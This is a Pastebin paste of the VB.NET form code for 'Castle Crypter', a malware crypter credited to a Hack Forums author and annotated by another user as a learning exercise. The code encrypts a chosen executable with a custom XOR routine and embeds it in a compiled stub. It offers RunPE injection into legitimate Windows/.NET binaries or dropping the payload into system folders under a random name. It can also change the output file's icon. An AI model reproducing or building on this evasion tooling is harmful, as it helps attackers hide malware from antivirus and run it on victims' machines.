Advertisement
kaed

Form1.vb - 7/30/13

Jul 31st, 2013
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 13.29 KB | None | 0 0
  1. Imports System.Text
  2. Imports Castle_Crypter.clsCodeDom
  3.  
  4. '// Coded by Angelic Wings - http://www.hackforums.net/member.php?action=profile&uid=1428304
  5. '(^) Thanks for this, I've commented a lot of this out for learning purposes and
  6. '(^) have left a few questions for you about certain peices of code.
  7. '(^)                                                                   -The Shop
  8.  
  9. Public Module Strings 'Why put these in their own module?  Doc for modules: http://msdn.microsoft.com/en-us/library/aaxss7da.aspx#feedback
  10.     Public IconPath As String = String.Empty 'path of icon for crypted file
  11.     Public RandomKey As String = Form1.RA(256) 'creates random 256 char length string.  Because it's not part of the Form1 class the RA function has to be called this way
  12.     Public FinalKey As Byte() = Encoding.UTF8.GetBytes(RandomKey)  'Converts RandomKey to a byte array and encrypts it using UTF8
  13. End Module
  14.  
  15. Public Class Form1
  16.  
  17.     Sub New()
  18.         InitializeComponent() 'for loading the gui?: http://msdn.microsoft.com/en-us/library/system.windows.markup.icomponentconnector.initializecomponent.aspx
  19.         NsComboBox1.SelectedItem = NsComboBox1.Items(0) 'when you pick an item from dropdown it shows up
  20.     End Sub
  21.  
  22. #Region "Functions" 'holds random string function and encryption function
  23.  
  24.     'Random Chars
  25.     Public Function RA(ByVal Lenght As Integer, Optional ByVal CustomCharacters As String = "QWERTYUIOPASDFGHJKKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789") As String 'function can be used by entire solution.  spelled "length" wrong but it's okay I fuck up too with spelling ;)
  26.         Randomize() 'initialize the random # gen: http://msdn.microsoft.com/en-us/library/8zedbtdt(v=vs.90).aspx
  27.         Dim NSB As New StringBuilder() 'what will hold the random string
  28.         With NSB 'make using methods on it look more 1337
  29.             For i As Integer = 1 To Lenght 'from 1 to the specified "length"
  30.                 Randomize() 'initialize the random # gen (again).  Is it necessary to do this twice?
  31.                 Dim z As Integer = Int(((CustomCharacters.ToCharArray.Length - 2) - 0 + 1) * Rnd()) + 1
  32.                 '(^) Not sure why but you basically did the length of the array -2 but then added 0(useless) and added 1 to make it the length of the array -1.
  33.                 '(^) This basically chooses a number between the length and 1 and assigns it to z.
  34.  
  35.                 .Append(CustomCharacters(z)) 'now we use z as an index in customchars and append the value to NSB
  36.             Next 'will continue doing above till "length" is met
  37.             Return .ToString 'function returns NSB
  38.         End With 'no more 1337ness with using methods for NSB
  39.     End Function
  40.  
  41.     Public Shared Function Crypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte() 'Can be used by entire solution.  Guessing by the name this is used to encrypt and returns a byte array
  42.         For i As Integer = 0 To (Data.Length * 2) + key.Length 'working from 0 to length of data bytes * 2 + length of key bytes (which is probably from the RA func)
  43.             Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor key(i Mod key.Length)
  44.             '(^) Just goin over what the operators do..the mod will give you the remainder of the 1st # divided by the 2nd.  And Xor still confuses me but here's the documentation: http://msdn.microsoft.com/en-us/library/csw1x2a6(v=vs.80).aspx
  45.             '(^) inside that it's adding Data with the index of the remainder of i / data.length to the remainder of data with index of i+1 divided by data's length.
  46.             '(^) then it get's converted to a CInt first then divided by 256 and the remainder is taken then converted to a CByte (byte subtype).  from the subtype it get's Xor'ed by the key input with the index of the remainder of i / key.length
  47.             '(^) Basically this is just a confusing encryption algorithm, right?
  48.  
  49.         Next 'end encryption
  50.         Return Data 'function returns encrypted data (bytes)
  51.     End Function
  52.  
  53. #End Region 'holds random string function and encryption function
  54.  
  55. #Region "Handlers" 'pretty much hooking existing vb controls to the custom made ones
  56.     '(start point) code for when the radio button changes the combobox items change
  57.     Private Sub RadioButton_CheckedChanged(ByVal sender As Object) Handles NsRadioButton1.CheckedChanged, NsRadioButton2.CheckedChanged
  58.         If sender.Equals(NsRadioButton1) Then
  59.             If NsRadioButton1.Checked = True Then
  60.                 NsComboBox1.Items.Clear()
  61.                 Dim dsads As String() = {"AppLaunch.exe ", "Cvtres.exe ", "Vbc.exe ", "Csc.exe"}
  62.                 For Each value As String In dsads
  63.                     NsComboBox1.Items.Add(value)
  64.                 Next
  65.                 NsComboBox1.SelectedItem = NsComboBox1.Items(0)
  66.             End If
  67.         ElseIf sender.Equals(NsRadioButton2) Then
  68.             If NsRadioButton2.Checked = True Then
  69.                 NsComboBox1.Items.Clear()
  70.                 Dim strarray As String() = {"Temp", "AppData", "AppData Local", "My Documents", "Desktop", "Program Files", "WinDir"}
  71.                 For Each value As String In strarray
  72.                     NsComboBox1.Items.Add(value)
  73.                 Next
  74.                 NsComboBox1.SelectedItem = NsComboBox1.Items(0)
  75.             End If
  76.         End If
  77.     End Sub
  78.     '(end point) code for when the radio button changes the combobox items change
  79.     Private Sub PictureBox1_Click(ByVal sender As Object, ByVal e As EventArgs) Handles PictureBox1.DoubleClick 'when you double click it resets to nothing
  80.         PictureBox1.BackgroundImage = Nothing
  81.         IconPath = Nothing
  82.     End Sub
  83. #End Region 'pretty much hooking existing vb controls to the custom made ones
  84.  
  85.  
  86.     Private Sub SelectInput_Click(ByVal sender As Object, ByVal e As EventArgs) Handles SelectInput.Click '"Browse" button click
  87.         Using ofd As New OpenFileDialog 'using dialog for choosing file under name of ofd
  88.             ofd.Filter = "Executables *.exe|*.exe" '.exe filter
  89.             If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then 'if the file is good then...
  90.                 FilePathTxt.Text = ofd.FileName 'set the textbox (next to the "Browse" button) = to the filepath
  91.             End If
  92.         End Using
  93.     End Sub
  94.  
  95.  
  96.     Private Sub SelectIcon_Click(ByVal sender As Object, ByVal e As EventArgs) Handles SelectIcon.Click '"..." button click
  97.         Dim o As New OpenFileDialog 'using dialog for choosing icon
  98.         With o
  99.             .DefaultExt = "ico" 'start off lookin for .ico
  100.             .Filter = "Icon Files *.ico | *.ico" '.ico filter
  101.             If .ShowDialog = Windows.Forms.DialogResult.OK Then 'if the icon is good then
  102.                 PictureBox1.BackgroundImage = System.Drawing.Icon.ExtractAssociatedIcon(.FileName).ToBitmap 'set the picbox's image = icon converted to a bitmap
  103.                 IconPath = .FileName 'set iconpath = the selected icon's filepath
  104.             End If
  105.         End With
  106.     End Sub
  107.  
  108.  
  109.     Private Sub CryptBtn_Click(ByVal sender As Object, ByVal e As EventArgs) Handles CryptBtn.Click '"Crypt" button click
  110.         If IO.File.Exists(FilePathTxt.Text) = False Then 'if you haven't selected a file yet then
  111.             MsgBox("Select A File", MsgBoxStyle.Information) 'show message that user is dumb for not picking a file and trying to crypt
  112.             Exit Sub 'self explanatory
  113.         End If
  114.  
  115.         Using sfd As New SaveFileDialog 'used for saving crypted file
  116.             With sfd 'make using methods look cooler (1337) and easier to use
  117.  
  118.                 If .ShowDialog = Windows.Forms.DialogResult.OK Then 'if the saved file is okay then
  119.                     .DefaultExt = "exe" 'save as .exe to begin with
  120.                     .Filter = "Executable Files (*.exe)|*.exe" 'can only save as .exe
  121.  
  122.                     Dim src As String = String.Empty 'holds stub's source code
  123.  
  124.                     If NsRadioButton1.Checked = True Then 'if "RunPE" is checked then
  125.                         If NsRadioButton2.Checked = False Then 'if "Drop" is not checked then
  126.                             src = My.Resources.Stub 'src = text from Stub.txt
  127.  
  128.                             '(start code) replaces the default ("\vbc.exe") with whatever the selected option is (if different)
  129.                             If NsComboBox1.SelectedItem = NsComboBox1.Items(0) Then
  130.                                 src = src.Replace("\vbc.exe", "\AppLaunch.exe")
  131.                             ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(1) Then
  132.                                 src = src.Replace("\vbc.exe", "\cvtres.exe")
  133.                             ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(2) Then
  134.                                 '
  135.                             ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(3) Then
  136.                                 src = src.Replace("\vbc.exe", "\csc.exe")
  137.                             End If
  138.                             '(end code) replaces the default ("\vbc.exe") with whatever the selected option is (if different)
  139.  
  140.                         End If
  141.                     Else
  142.                         If NsRadioButton2.Checked = True Then 'if "Drop" is checked then
  143.                             If NsRadioButton1.Checked = False Then 'if "RunPE" is not checked then
  144.                                 src = My.Resources.Stub_2 'src = text from Stub 2.txt
  145.                                 src = src.Replace("c.exe", RA(20) & ".exe") 'create random 20char name for dropped file
  146.  
  147.                                 '(start code) replaces the stub path with whatever the selected path is
  148.                                 If NsComboBox1.SelectedItem = NsComboBox1.Items(0) Then
  149.                                     'Temp
  150.                                 ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(1) Then
  151.                                     src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "appdata" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
  152.                                     'AppData
  153.                                 ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(2) Then
  154.                                     src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "LocalAppdata" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
  155.                                     'Appdata Local
  156.                                 ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(3) Then
  157.                                     src = src.Replace("IO.Path.GetTempPath", "Environment.GetFolderPath(Environment.SpecialFolder.Personal) & \")
  158.                                     'My Documents
  159.                                 ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(4) Then
  160.                                     src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "desktop" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
  161.                                     'Desktop
  162.                                 ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(5) Then
  163.                                     src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "PROGRAMFILES" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
  164.                                     'Program Files
  165.                                 ElseIf NsComboBox1.SelectedItem = NsComboBox1.Items(6) Then
  166.                                     src = src.Replace("IO.Path.GetTempPath", "System.Environment.GetEnvironmentVariable(" & Chr(34) & "windir" & Chr(34) & ")" & "&" & Chr(34) & "\" & Chr(34))
  167.                                     'Windir
  168.                                 End If
  169.                                 '(end code) replaces the stub path with whatever the selected path is
  170.  
  171.                             End If
  172.                         End If
  173.                     End If
  174.  
  175.                     src = src.Replace("Encryption-Key", RandomKey) 'stub's encryption key gets replaced with RandomKey
  176.  
  177.                     Dim storage As Byte() = Crypt(My.Computer.FileSystem.ReadAllBytes(FilePathTxt.Text), FinalKey) 'storage holds the encrypted bytes returned from the Crypt function
  178.                     Dim w As New Resources.ResourceWriter(Application.StartupPath & "\X.resources") 'Creates new resource writer and a temp x.resources file: http://msdn.microsoft.com/en-us/library/system.resources.resourcewriter.aspx
  179.                     w.AddResource("M", storage) 'plants the encrypted bytes in a resource in the new file called "M"
  180.                     w.Close()
  181.  
  182.                     Compile(.FileName, src) 'func can be found in clsCodeDom.vb.  Was this done to disguise the codedom import?
  183.  
  184.                     If IO.File.Exists(IconPath) Then 'if IconPath is set to an icon then
  185.                         IconChanger.InjectIcon(.FileName, IconPath) 'This function is found in IconChanger.vb and changes the icon of the crypted file
  186.                     End If
  187.  
  188.                     IO.File.Delete(Application.StartupPath & "\X.resources") 'delete the create x.resources file
  189.                     MsgBox("The file successfuly encrypted. " & vbNewLine & "This crypter has been coded by Angelic Wings.", MsgBoxStyle.Information) 'gratz
  190.                 End If
  191.             End With 'end sfd with statement
  192.         End Using
  193.     End Sub
  194.  
  195. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement